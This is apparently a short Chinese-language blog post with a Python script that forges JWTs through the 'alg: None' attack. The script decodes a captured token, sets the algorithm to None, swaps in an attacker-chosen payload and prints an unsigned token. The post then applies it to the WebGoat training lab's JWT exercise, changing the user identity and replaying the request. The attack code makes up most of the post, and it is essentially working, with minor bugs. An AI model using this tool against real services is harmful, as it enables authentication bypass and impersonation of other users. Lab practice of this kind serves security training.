代码
- 原理就不说了,上一篇有.将抓到的jwt输入即可得到攻击payload
import base64
import re
import time
jwt=input("请输入jwt:\n").encode()
header=re.search(b'(.*?)\.',jwt)
payload=re.search(b'\.(.*?)\.',jwt)
if header==None:
print("\njwt格式错误!")
time.sleep(10000)
if payload==None:
print("\njwt格式错误!")
time.sleep(10000)
header=header.group(1)
payload=payload.group(1)
header=header.replace(b'-', b'+').replace(b'_', b'/')
padding = 4 - (len(header) % 4)
header = header + b"=" * padding
header=base64.b64decode(header)
print("\n标头为:\n"+header.decode("ascii"))
payload=payload.replace(b'-', b'+').replace(b'_', b'/')
padding = 4 - (len(payload) % 4)
payload = payload + b"=" * padding
payload=base64.b64decode(payload)
print("\n载荷为:\n"+payload.decode("ascii"))
header=re.sub(b'"alg":"(.*?)"',b'"alg":"None"',header)
print("\n新的标头和载荷为:\n"+header.decode("ascii")+payload.decode("ascii"))
a=input("\n是否需要修改载荷?\n输0回车不修改,输1回车修改:")
if a==0:
header=base64.b64encode(header).replace(b'+', b'-').replace(b'/', b'_').replace(b'=',b'')
payload=base64.b64encode(payload).replace(b'+', b'-').replace(b'/', b'_').replace(b'=',b'')
else:
a=input("\n输入新的载荷:\n")
header=base64.b64encode(header).replace(b'+', b'-').replace(b'/', b'_').replace(b'=',b'')
payload=base64.b64encode(a.encode('ascii')).replace(b'+', b'-').replace(b'/', b'_').replace(b'=',b'')
print("\n空加密攻击payload:\n"+header.decode("ascii")+'.'+payload.decode("ascii")+'.')
练习
- jwt太恼火了,难的做不了,找了个简单的,上一篇的webgoat靶场JWT模块第四题
- 我们使用tom登录,投一票的时候抓个包,抓到了jwt
- 丢给脚本,将有效载荷中的用户名改为Guest,得到jwt,cv到抓的包里放包